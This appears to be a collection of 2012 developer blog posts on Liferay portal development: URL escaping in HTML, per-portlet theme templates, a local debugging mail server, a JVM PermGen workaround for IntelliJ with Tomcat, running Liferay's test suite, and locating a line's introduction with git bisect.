Let's say we already have a valid (correctly encoded) URL which we want to write into HTML.

Then there are 2 important steps:
1, Ampersand character (&), which may be a part of URL, is used to prefix html entity references. When writing a valid HTML we should escape it the same way as any other ampersand you want to write there. Use ampersand entity: &amp;

2, To write safe HTML = to be sure that URL won't escape from HTML attributes or JavaScript variable (it is allowed to contain apostrophe character) it's good to escape the URL as described in  XSS_Prevention_Rules_Summary, not only the query string part.

When we don't have the URL properly encoded we must escape the whole URL - perform the step #2.

Sunday, November 4, 2012

Theme Template For a Specific Portlet

If you want to have your own template for Sign In portlet, you can simply:

  1. Go to your templates directory (theme/docroot/_diffs/templates/)
  2. Copy portlet.vm into portlet.58.vm (58 is a portlet id for Sign In portlet)
  3. Now, Sign In portlet will use portlet.58.vm, other portlets will use default portlet.vm
The same applies for instanceable portlets (e.g. you can have portlet.101_INSTANCE_ABCDE.vm).

You can find the nice piece of logic for loading a portlet template (both VM and FTL) inside com.liferay.taglib.util.ThemeUtil. It's simple:

  • Let's render portlet portlet with Id: 1_WAR_samplejsonportlet_INSTANCE_UgOvIB6Y3Ppb
  1. Portal first tries to find portlet.1_WAR_samplejsonportlet_INSTANCE_UgOvIB6Y3Ppb.vm
  2. Then tries portlet.1_WAR_samplejsonportlet.vm
  3. Finally use portlet.vm



Monday, October 15, 2012

Linux Dummy Mail Server for Debugging

Recently I found useful console command for creating a local mail server, echoing incoming mail messages to std out.

Enjoy the simplicity and effectiveness:
sudo python -m smtpd -n -c DebuggingServer localhost:25

// made it to my .bash_aliases file as:
alias mail_server='sudo python -m smtpd -n -c DebuggingServer localhost:25'

Friday, October 12, 2012

Liferay JRebel PermGen IntelliJ Idea

Problem:
  1. IntelliJ use JAVA_OPTS for setting -XX:MaxPermSize in Run/Debug Configurations
  2. catalina.sh overwrites JAVA_OPTS with CATALINA_OPTS
  3. Liferay+Tomcat bundle defines
    CATALINA_OPTS as "... -Xmx1024m -XX:MaxPermSize=256m"
  4. => settings in the IDE are overwritten by the bundle default configuration :(

Result:
/usr/lib/jvm/java-6-sun/bin/java -Djava.util.logging.config.file=/opt/liferay.git/bundles/tomcat-7.0.27/conf/logging.properties -javaagent:/home/topolik/.IntelliJIdea11/config/plugins/jr-ide-idea/lib/jrebel/jrebel.jar -Xdebug -Xrunjdwp:transport=dt_socket,address=127.0.0.1:52374,suspend=y,server=n -javaagent:/opt/idea-IU-117.117/plugins/Groovy/lib/agent/gragent.jar -Xms512m -Xmx1024m -XX:MaxPermSize=512m -Dfile.encoding=UTF8 -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Dfile.encoding=UTF8 -Dorg.apache.catalina.loader.WebappClassLoader.ENABLE_CLEAR_REFERENCES=false -Duser.timezone=GMT -Xmx1024m -XX:MaxPermSize=256m -Djava.endorsed.dirs=/opt/liferay.git/bundles/tomcat-7.0.27/endorsed -classpath /opt/liferay.git/bundles/tomcat-7.0.27/bin/bootstrap.jar:/opt/liferay.git/bundles/tomcat-7.0.27/bin/tomcat-juli.jar -Dcatalina.base=/opt/liferay.git/bundles/tomcat-7.0.27 -Dcatalina.home=/opt/liferay.git/bundles/tomcat-7.0.27 -Djava.io.tmpdir=/opt/liferay.git/bundles/tomcat-7.0.27/temp org.apache.catalina.startup.Bootstrap start


Workaround:
Hack one of Tomcat's env. properties to include the MaxPermSize settings AFTER CATALINA_OPTS:
  1. In the IntelliJ Run/Debug configurations dialog add a new env. variable named CATALINA_TMPDIR with the following value (don't forget the quotes!):
    $CATALINA_BASE/temp" -XX:MaxPermSize=512m -Dwhatever="
Note: If you are running Windows, use %CATALINA_BASE%/temp instead of $CATALINA_BASE/temp in the variable value

Result:

/usr/lib/jvm/java-6-sun/bin/java -Djava.util.logging.config.file=/opt/liferay.git/bundles/tomcat-7.0.27/conf/logging.properties -javaagent:/home/topolik/.IntelliJIdea11/config/plugins/jr-ide-idea/lib/jrebel/jrebel.jar -Xdebug -Xrunjdwp:transport=dt_socket,address=127.0.0.1:52374,suspend=y,server=n -javaagent:/opt/idea-IU-117.117/plugins/Groovy/lib/agent/gragent.jar -Xms512m -Xmx1024m -XX:MaxPermSize=724m -Dfile.encoding=UTF8 -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Dfile.encoding=UTF8 -Dorg.apache.catalina.loader.WebappClassLoader.ENABLE_CLEAR_REFERENCES=false -Duser.timezone=GMT -Xmx1024m -XX:MaxPermSize=256m -Djava.endorsed.dirs=/opt/liferay.git/bundles/tomcat-7.0.27/endorsed -classpath /opt/liferay.git/bundles/tomcat-7.0.27/bin/bootstrap.jar:/opt/liferay.git/bundles/tomcat-7.0.27/bin/tomcat-juli.jar -Dcatalina.base=/opt/liferay.git/bundles/tomcat-7.0.27 -Dcatalina.home=/opt/liferay.git/bundles/tomcat-7.0.27 -Djava.io.tmpdir=/opt/liferay.git/bundles/tomcat-7.0.27/temp -XX:MaxPermSize=512m -Dwhatever= org.apache.catalina.startup.Bootstrap start


Wednesday, September 12, 2012

Running Liferay Unit and Integration Tests


Liferay source code contains many JUnit and Integration tests. It wasn't easy to setup my environment to run the tests so here is little guide for those how want to try it too.

Basic info is at http://www.liferay.com/community/wiki/-/wiki/Main/Liferay+Testing+Infrastructure

I have Liferay sources in /opt/liferay.git/portal, let's call this directory SRC_ROOT for now.

Prerequisites:
* I have MySQL installed and run with Ubuntu defaults (at localhost, user root, empty password)
* Download run-tests.sh from https://gist.github.com/3706003
* Save it into SRC_ROOT
* Change permissions of the script file: chmod u+x run-tests.sh
* Note: I don't have any extra settings in any *.properties file

Running:
* Execute ./run-tests.sh inside SRC_ROOT
* Wait, it takes minutes to finish
* Ignore any exceptions during the tests, the important ones will be shown at the end
* At the end you should see

BUILD SUCCESSFUL
Total time: 6 minutes 42 seconds

**************************************
*           FOUND ERRORS             *
**************************************

./portal-impl/test-results/integration/TEST-com.liferay.portlet.wiki.trash.WikiNodeTrashHandlerTest.xml:    <error message="No AssetEntry exists with the key {classNameId=10149, classPK=18905}" type="com.liferay.portlet.asset.NoSuchEntryException">com.liferay.portlet.asset.NoSuchEntryException: No AssetEntry exists with the key {classNameId=10149, classPK=18905}
./portal-impl/test-results/integration/TEST-com.liferay.portlet.wiki.trash.WikiNodeTrashHandlerTest.xml:    <error message="No AssetEntry exists with the key {classNameId=10149, classPK=18910}" type="com.liferay.portlet.asset.NoSuchEntryException">com.liferay.portlet.asset.NoSuchEntryException: No AssetEntry exists with the key {classNameId=10149, classPK=18910}
./portal-impl/test-results/integration/TEST-com.liferay.portlet.wiki.trash.WikiNodeTrashHandlerTest.xml:    <error message="No AssetEntry exists with the key {classNameId=10149, classPK=18915}" type="com.liferay.portlet.asset.NoSuchEntryException">com.liferay.portlet.asset.NoSuchEntryException: No AssetEntry exists with the key {classNameId=10149, classPK=18915}
./portal-impl/test-results/integration/TEST-com.liferay.portlet.wiki.trash.WikiPageTrashHandlerTest.xml:    <error message="No WikiNode exists with the primary key 19001" type="com.liferay.portlet.wiki.NoSuchNodeException">com.liferay.portlet.wiki.NoSuchNodeException: No WikiNode exists with the primary key 19001
./portal-impl/test-results/integration/TEST-com.liferay.portlet.wiki.trash.WikiPageTrashHandlerTest.xml:    <error message="No WikiNode exists with the primary key 19006" type="com.liferay.portlet.wiki.NoSuchNodeException">com.liferay.portlet.wiki.NoSuchNodeException: No WikiNode exists with the primary key 19006
./portal-impl/test-results/integration/TEST-com.liferay.portlet.wiki.trash.WikiPageTrashHandlerTest.xml:    <error message="No WikiNode exists with the primary key 19011" type="com.liferay.portlet.wiki.NoSuchNodeException">com.liferay.portlet.wiki.NoSuchNodeException: No WikiNode exists with the primary key 19011


******************************************
* FOUND TEST FAILURES *
******************************************

./portal-impl/test-results/integration/TEST-com.liferay.portal.staging.StagingImplTest.xml:    <failure message="expected:&lt;Title[]en_US&gt; but was:&lt;Title[2]en_US&gt;" type="junit.framework.AssertionFailedError">junit.framework.AssertionFailedError: expected:&lt;Title[]en_US&gt; but was:&lt;Title[2]en_US&gt;

Which means success! :)

Monday, September 10, 2012

When was a line added to a file - git bisect + grep

When do you want to know in which commit was a text added into a file, here are steps for bash + grep + git

export TEXT_TO_SEARCH="jcr.fetch.delay"
export FILE="portal-impl/src/portal.properties"

git bisect start "$FILE"
git bisect bad
git bisect good `git rev-list --parents HEAD "$FILE" | egrep "^[a-f0-9]{40}$"`

while
    ((grep "$TEXT_TO_SEARCH" "$FILE" > /dev/null && git bisect bad) || git bisect good) | grep Bisecting
do
    continue
done

git bisect visualize

git bisect reset